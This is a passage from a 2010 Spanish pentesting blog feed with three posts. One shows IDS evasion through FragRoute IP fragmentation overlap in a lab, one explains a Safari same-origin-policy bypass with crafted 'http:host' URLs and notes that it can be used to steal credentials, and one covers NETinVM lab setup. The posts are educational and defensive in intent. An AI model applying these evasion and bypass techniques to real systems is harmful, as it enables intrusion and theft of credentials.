&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;a href="http://monkey.org/%7Edugsong/fragroute/"&gt;FragRoute&lt;/a&gt; es una herramienta de gran flexibilidad y potencia que nos permite forzar la fragmentación contra un sistema concreto, así como otros tipos de ataques de overlapping basados en TCP.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;El tipo de ataques de fragmentación a realizar se define en un fichero de configuración con el que deberemos lanzar la herramienta. En nuestro caso, el fichero tiene el siguiente contenido:&lt;/div&gt;&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;ip_frag 40 old&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;order random&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;print&lt;/i&gt;&lt;/div&gt;&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;En este caso, estamos eligiendo realizar una fragmentación ip (ip_frag) de tamaño 40 bytes (40) y con overlaping favoreciendo que los fragmentos más antiguos tengan preferencia, es decir, estamos haciendo una fragmentación de tal forma que vamos a poder hablar con sistemas First, y probablemente Windows y Solaris (su política es muy similar a First). Además, estamos ordenando aleatoriamente los fragmentos (order random) y estamos señalando que queremos verlo por la pantalla (print), aunque por supuesto esta última parte es opcional.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Los usuarios de Ubuntu (o BackTrack, como es mi caso) pueden sufrir algún problema debido al contenido del fichero /proc/sys/net/ipv4/conf/all/rp_filter , que en este tipo de sistemas (y no sé si en algunos otros) está a "1" y debería estar a "0" para funcionar. Si os encontrais con problemas de funcionamiento en vuestro sistema, comprobad este flag:&lt;/div&gt;&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;# &lt;/i&gt;&lt;i&gt;&lt;b&gt;cat /proc/sys/net/ipv4/conf/all/rp_filter&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;1&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;# &lt;b&gt;echo 0 &gt; /proc/sys/net/ipv4/conf/all/rp_fi&lt;/b&gt;&lt;/i&gt;&lt;b&gt;lter&lt;/b&gt;&lt;/div&gt;&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Ahora que ya tenemos esto configurado, si lanzamos la herramienta, probablemente nos encontraremos con el siguiente error:&lt;/div&gt;&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;i&gt;# &lt;b&gt;fragroute -f fragwin2.conf 172.16.24.151&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;fragroute: no route to 172.16.24.151: No such process&lt;/i&gt;&lt;/div&gt;&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Por algún motivo, parece que fragroute requiere que tengamos al objetivo en nuestra tabla ARP o similar, así que tendremos que forzar una pequeña conexión antes de lanzarlo:&lt;/div&gt;&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;# &lt;b&gt;ping -c 1 172.16.24.151 &gt;/dev/null ; fragroute -f fragwin2.conf 172.16.24.151&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;fragroute: ip_frag -&gt; order -&gt; print&lt;/i&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Por fin tenemos lanzado el fragroute. Ahora todo el tráfico que sea encaminado hacia 172.16.25.151, usemos la aplicación que usemos, será fragmentado de la manera que hemos escogido.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Como en el sistema Windows que hay en 172.16.24.151 tenemos un IIS a la escucha, vamos a ver que capturará el tcpdump o el wireshark cuando accedamos a este:&lt;/div&gt;&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;# &lt;b&gt;tcpdump -nn -s 0 -w fragment.pcap host 172.16.24.151&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;
&lt;br /&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;# &lt;b&gt;lynx -dump http://172.16.24.151&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;[respuesta esperada]&lt;/i&gt;&lt;/div&gt;&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Tras ver que podemos visitar correctamente la web y que el Windows es capaz de reensamblar correctamente los fragmentos, vamos a ver que pasa cuando abrimos el pcap que hemos capturado en Wireshark:&lt;/div&gt;&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_Jx-hAg65Epo/TCBWm477QpI/AAAAAAAAAbE/1BdBfR2vpZE/s1600/IMG003.png"&gt;&lt;img src="http://1.bp.blogspot.com/_Jx-hAg65Epo/TCBWm477QpI/AAAAAAAAAbE/1BdBfR2vpZE/s400/IMG003.png" alt="" id="BLOGGER_PHOTO_ID_5485479572256014994" style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 162px;" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Como podemos ver, el paquete reensamblado parece tener "basurilla" proveniente de los fragmentos con los que se hacía el overlapping. De hecho, si nos fijamos en la flecha, veremos que Wireshark nos muestra un fallo en el Checksum del contenido del paquete, algo lógico, ya que el Checksum fue calculado a partir del contenido original, y el contenido después de ser reconstruido el paquete es diferente, por lo que su Checksum no será el mismo.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Como decíamos antes, este tipo de técnicas pueden ser usadas para evadir la protección de los IDSs, ya que podemos hacer que un IDS sobre Linux (por ejemplo) reensamble el paquete de una forma incorrecta y que por lo tanto el contenido no haga match con ninguna regla, y sin embargo que el reensamblado en el host atacado sí que reensamble correctamente y sufra el ataque. También puede ser usado, como en el caso del reto de la DEFCON, para tocar los c****** a alguien que intenta analizar el tráfico de red :P&lt;/div&gt;&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Sin embargo, no todo está perdido, ya que los IDSs pueden ser configurados de cierta forma que pueden detectar estos paquetes e incluso emular los diferentes tipos de reensamblado, pero claro, ha de ser configurado correctamente.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Pero eso será ya otro post.&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7678234999586772610-884442379141619826?l=www.pentester.es' alt='' /&gt;&lt;/div&gt;</description><link>http://www.pentester.es/2010/06/ip-fragmentation-overlap-fragroute.html</link><author>noreply@blogger.com (Jose Selvi)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_Jx-hAg65Epo/TCAxbg2ZORI/AAAAAAAAAa8/0i0HhG3HPKk/s72-c/IMG001.png" height="72" width="72" /><thr:total>13</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-6425246550264928631</guid><pubDate>Wed, 09 Jun 2010 05:10:00 +0000</pubDate><atom:updated>2010-06-09T07:10:00.600+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">SeguridadNavegador</category><title>Safari Same Domain Policy Bypass</title><description>&lt;div style="text-align: justify;"&gt;Ayer por la mañana &lt;a href="http://lcamtuf.blogspot.com/2010/06/safari-tale-of-betrayal-and-revenge.html"&gt;se publicó&lt;/a&gt; una vulnerabilidad en Safari en la manera en que se gestionan las URLs a la hora de verificar la &lt;a href="http://en.wikipedia.org/wiki/Same_origin_policy"&gt;&lt;b&gt;Same Domain Policy&lt;/b&gt;&lt;/a&gt;.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;Same Domain Policy&lt;/b&gt; es una protección de los navegadores que impide que un sitio web acceda a los objetos o métodos de otro sitio web, y es fundamental a la hora de proteger a los usuarios de gran cantidad de ataques. Según esta política, dos sitios web son el mismo, y por tanto deben poder acceder a los mismos objetos, cuando el protocolo, el nombre de host y el puerto al que se conecta son idénticos.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Explicado de una forma sencilla, una URL generalmente es de la siguiente forma:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span"  style="font-size:large;"&gt;&lt;b&gt;http://banco.pentester.es/directorio/&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Esta URL, al seguir los estándares, es gestionada de la misma forma por todo Safari, con "http" como protocolo, "banco.pentester.es" como host y "80" como puerto.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Sin embargo, se ha descubierto que una URL especialmente formada podría provocar errores al reconocer el host a la hora de verificar la Same Domain Policy:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span"  style="font-size:large;"&gt;&lt;b&gt;http:banco.pentester.es/directorio/&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Esta URL, al ser verificada por la Same Domain Policy, es reconocida como host cadena vacía (""), mientras que por contra es perfectamente usable a la hora de la navegación, y completamente equivalente a la que hemos visto anteriormente.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Por lo tanto, si tenemos una manera de formar URLs de tal forma que el navegador las reconozca como pertenecientes siempre a un host cadena vacía, podríamos construir varias URLs de diferentes sitios web de esta forma, y todos ellos serían reconocidos como pertenecientes al mismo dominio, con lo que podríamos acceder desde un sitio malicioso a los objetos y métodos de otros sitios web legítimos.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Veamos un pequeño ejemplo práctico.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Hemos creado un sitio web legítimo http://banco.pentester.es que contiene una vulnerabilidad que nos permite controlar el origen de un iframe de la web (para los puntillosos, también permite más cosas, pero vamos a centrarnos en el iframe). En realidad, este ataque a Safari podría realizarse simplemente con tener dos ventanas diferentes abiertas, sin necesidad de que exista ninguna otra vulnerabilidad en la web, pero nos parece un ejemplo interesante y real, así que vamos a ello:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_Jx-hAg65Epo/TA6okHIScaI/AAAAAAAAAZ0/TiS9vIWbMy0/s1600/0002.png"&gt;&lt;img src="http://3.bp.blogspot.com/_Jx-hAg65Epo/TA6okHIScaI/AAAAAAAAAZ0/TiS9vIWbMy0/s400/0002.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5480503134899040674" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 400px; height: 110px; " /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Por otro lado, tenemos un sitio web malicioso http://test.sobreroblanco.es en el que tenemos un fichero que, a través de Javascript, pretende realizar modificaciones sobre el HTML de fuera del iframe. En este caso, cambiar el enlace "Contacto" de la web principal para que nos llegue a nosotros:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_Jx-hAg65Epo/TA6oxYhpzAI/AAAAAAAAAZ8/8z318-YhwZ8/s1600/0003.png"&gt;&lt;img src="http://3.bp.blogspot.com/_Jx-hAg65Epo/TA6oxYhpzAI/AAAAAAAAAZ8/8z318-YhwZ8/s400/0003.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5480503362907130882" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 400px; height: 50px; " /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Tal cual está, si intentamos explotar la vulnerabilidad en el iframe, la web contenida dentro del iframe no va a ser capaz de alterar el contenido del resto de la web, ya que ambas webs se encuentran en dominios diferentes y el navegador no va a permitir que una acceda a los objetos de la otra:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;http://banco.pentester.es/index.php?iframe=http://test.sombreroblanco.es&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_Jx-hAg65Epo/TA6qY19_HcI/AAAAAAAAAaE/pB2LzIC_l-o/s1600/Imagen+1.png"&gt;&lt;img src="http://3.bp.blogspot.com/_Jx-hAg65Epo/TA6qY19_HcI/AAAAAAAAAaE/pB2LzIC_l-o/s400/Imagen+1.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5480505140337122754" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 400px; height: 213px; " /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Como podemos ver, el enlace no ha cambiado, a pesar de que hemos intentado cambiarlo mediante Javascript, ya que la verificación del Same Domain Polocy ha fallado por tratarse de dominios diferentes.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Sin embargo, si formamos las URL de tal forma que hagamos que Safari crea que ambos dominios son cadena vacía (""), podríamos saltarnos esta restricción de seguridad:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;http:banco.pentester.es/index.php?iframe=http:test.sombreroblanco.es&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_Jx-hAg65Epo/TA6qxlWGQoI/AAAAAAAAAaM/SyE1torpqDw/s1600/0005.png"&gt;&lt;img src="http://1.bp.blogspot.com/_Jx-hAg65Epo/TA6qxlWGQoI/AAAAAAAAAaM/SyE1torpqDw/s400/0005.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5480505565371581058" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 400px; height: 214px; " /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Como podemos ver en la parte inferior... AHORA SÍ, hemos conseguido cambiar el código HTML por medio de un código Javascript que se encuentra dentro del iframe y nos hemos saltado la Same Domain Policy.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Ya hemos explotado la vulnerabilidad, pero... no es tan fácil como parece, ya que si nos limitamos a escribir la URL maliciosa en el navegador no va a funcionar, ya que el navegador añadirá la doble barra (//) delante de los dos puntos (:) de forma automática para formar una URL correcta. Para que la explotación funcione correctamente, tenemos que conseguir que el usuario pinche sobre un enlace de la siguiente forma:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_Jx-hAg65Epo/TA62H1Qu1iI/AAAAAAAAAaU/MCxO_Gw5xJA/s1600/0009.png"&gt;&lt;img src="http://2.bp.blogspot.com/_Jx-hAg65Epo/TA62H1Qu1iI/AAAAAAAAAaU/MCxO_Gw5xJA/s400/0009.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5480518042229069346" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 400px; height: 28px; " /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;De esta manera, si conseguimos que un usuario pinche un enlace como este, es dirigido correctamente a la web que hemos visto antes y la vulnerabilidad es explotada.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Una de las maneras más evidentes de sacar provecho de este tipo de vulnerabilidades, además de cambiar el contenido de la web padre, es el robo de cookies de sesión. Sin embargo, tras realizar diversas pruebas, hemos llegado a la conclusión (o al menos nosotros no lo hemos conseguido) de que Safari no almacena correctamente las Cookies que provienen de un dominio cadena vacía, y por lo tanto no podemos utilizar esta técnica para forzar a que un usuario se autentique en la web legítima y robarle la Cookie desde el iframe, o incluso desde otra ventana del navegador. Para probarlo, hemos utilizado un sencillo código Javascript que crea una Cookie para posteriormente mostrarla con un alert:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_Jx-hAg65Epo/TA67WLA3yLI/AAAAAAAAAac/iBIAEctVq9U/s1600/0006.png"&gt;&lt;img src="http://4.bp.blogspot.com/_Jx-hAg65Epo/TA67WLA3yLI/AAAAAAAAAac/iBIAEctVq9U/s400/0006.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5480523786144434354" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 400px; height: 74px; " /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Este código, accedido de la forma habitual (http://), nos muestra el valor nuevo que hemos introducido en al cookie:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_Jx-hAg65Epo/TA67kufE5YI/AAAAAAAAAak/v6xwgxQdJjI/s1600/0008.png"&gt;&lt;img src="http://3.bp.blogspot.com/_Jx-hAg65Epo/TA67kufE5YI/AAAAAAAAAak/v6xwgxQdJjI/s400/0008.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5480524036184532354" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 400px; height: 213px; " /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Sin embargo, cuando lo llamamos mediante un "http:", no nos aparece en el alert ni la propia cookie que acabamos de configurar, sino que aparece completamente en blanco:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_Jx-hAg65Epo/TA679F6g4pI/AAAAAAAAAas/QTvs1KVGWlY/s1600/0007.png"&gt;&lt;img src="http://1.bp.blogspot.com/_Jx-hAg65Epo/TA679F6g4pI/AAAAAAAAAas/QTvs1KVGWlY/s400/0007.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5480524454790488722" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 400px; height: 214px; " /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Este funcionamiento, por lo que hemos podido comprobar, inutilizaría la opción del robo de cookies, ya que estas simplemente nunca van a existir.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Sin embargo, que no exista la opción de robo de cookies no quiere decir que no exista la opción de robo de credenciales, ya que podríamos usar la misma técnica de cambio del código HTML para lanzar una web legítima con el formulario real de autenticación, y por otro lado nuestro sitio malicioso que altere el "action" de ese formulario para que las credenciales lleguen a un sitio controlado por el atacante.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Por lo tanto, se considera una vulnerabilidad de alto riesgo para los usuarios de Safari, por lo que recomendamos a todos ellos que apliquen los parches de seguridad publicados por Apple a la mayor brevedad posible.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7678234999586772610-6425246550264928631?l=www.pentester.es' alt='' /&gt;&lt;/div&gt;</description><link>http://www.pentester.es/2010/06/safari-same-domain-policy-bypass.html</link><author>noreply@blogger.com (Jose Selvi)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_Jx-hAg65Epo/TA6okHIScaI/AAAAAAAAAZ0/TiS9vIWbMy0/s72-c/0002.png" height="72" width="72" /><thr:total>4</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-7518486632116001002</guid><pubDate>Thu, 03 Jun 2010 10:40:00 +0000</pubDate><atom:updated>2010-06-03T12:40:32.226+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Herramientas</category><title>NETinVM: Red en una Máquina Virtual</title><description>&lt;div style="text-align: justify;"&gt;Una herramienta que suelo usar habitualmente para probar técnicas de seguridad en redes es &lt;a href="http://www.netinvm.org/"&gt;NETinVM&lt;/a&gt; (NETwork IN VirtualMachine), una máquina virtual SuSe que contiene en su interior una serie de switches virtuales y máquinas UML que forman una red virtual al estilo de la que podríamos encontrar en cualquier red con su segmento "Internet", su segmento Interno, su DMZ, su firewall y todo lo demás.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Sus autores, mi ex-profesor de sistemas operativos de la universidad, &lt;a href="http://www.uv.es/cperez/"&gt;Carlos Pérez&lt;/a&gt; y su hermano &lt;a href="http://www.taddong.com/"&gt;David Pérez&lt;/a&gt;, al que todos conoceréis como &lt;a href="http://www.giac.org/certifications/gse.php"&gt;GSE del SANS&lt;/a&gt; y co-fundador de la empresa &lt;a href="http://www.taddong.com/"&gt;Taddong&lt;/a&gt;.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;El esquema que por defecto viene configurado en la máquina virtual es el siguiente:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://informatica.uv.es/~carlos/docencia/netinvm/img/netinvm_general.png"&gt;&lt;img src="http://informatica.uv.es/~carlos/docencia/netinvm/img/netinvm_general.png" border="0" alt="" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 770px; height: 545px; " /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;En total, por defecto, tenemos 7 máquinas UML separadas en tres redes. Tanto las máquinas de la DMZ como las externas presentan algunos servicios típicos como servicios web o similares, con el fin de que podamos realizar todo tipo de pruebas. También tenemos un firewall con iptables con el que podremos realizar pruebas de todo tipo, y que tiene pre-instalado un Snort que puede ser utilizado para probar a crear nuevas reglas que creemos y ver que tal funciona la detección. Además, las máquinas virtuales son Debian, por lo que podemos instalar lo que necesitemos en ellas, incluso a través de aptitude.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;El funcionamiento de la máquina está perfectamente explicado en la &lt;a href="http://informatica.uv.es/~carlos/docencia/netinvm/netinvm.html"&gt;documentación oficial&lt;/a&gt;. No obstante, hay algunas modificaciones que podemos hacer sobre NETinVM que consideramos interesantes:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span"  style="font-size:large;"&gt;Elección de máquinas virtuales&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Para la gran mayoría de las pruebas que vayamos a realizar, probablemente las 7 máquinas UML que se arrancan por defecto sean innecesarias y simplemente van a consumirnos recursos, así que resulta muy interesante poder elegir cuales de estas máquinas UML queremos que arranquen, y cuales no.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Para ello, editaremos el fichero &lt;b&gt;/home/user1/uml/bin/uml_run_all.sh&lt;/b&gt; que es el encargado de lanzar todas las máquinas, y nos encontramos lo siguiente:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;i&gt;uml.sh -d 4 fw&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;uml.sh -d 2 a ext&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;uml.sh -d 3 b ext&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;uml.sh -d 8 a int&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;uml.sh -d 7 b int&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;uml.sh -d 5 a dmz&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;uml.sh -d 6 b dmz&lt;/i&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Como podemos ver, el script es sencillo, hay llamadas a otro script uml.sh que es el encargado de lanzar cada una de las máquinas virtuales de forma individual. El parámetro -d nos deja elegir el escritorio de entre los 8 que tiene la máquina virtual SuSe en el que queremos que la máquina UML se situe, mientras que en el resto de parámetros elegimos la red en la que se encontrará (ext, int, dmz) y cual de las máquinas de esa red queremos arrancar.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Por poner un ejemplo, imaginad que queremos realizar una prueba de MitM en LAN, con lo que solo necesitamos 2 máquinas en una LAN y 1 máquina de otra LAN a la que conectar para hacer la prueba, y por supuesto el firewall, así que podríamos reducir la cantidad de máquinas arrancadas cambiando el fichero de la siguiente manera con lo que ahorramos muchos recursos:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;i&gt;uml.sh -d 4 fw&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;uml.sh -d 2 a ext&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;uml.sh -d 8 a int&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;uml.sh -d 7 b int&lt;/i&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Para otro tipo de ejercicios esta configuración podría (y debería) cambiar, por supuesto.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span"  style="font-size:large;"&gt;Memoria de cada máquina UML&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Otro de los parámetros que podemos querer variar es la memoria que es asignada a cada máquina UML, ya que podemos encontrarnos con que una de las máquinas no realiza realmente ninguna función y por tanto no necesita mucho, y que por contra otras requieren utilizar múltiples herramientas que funcionarían de una forma mucho más ágil con un poquito más de memoria.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: 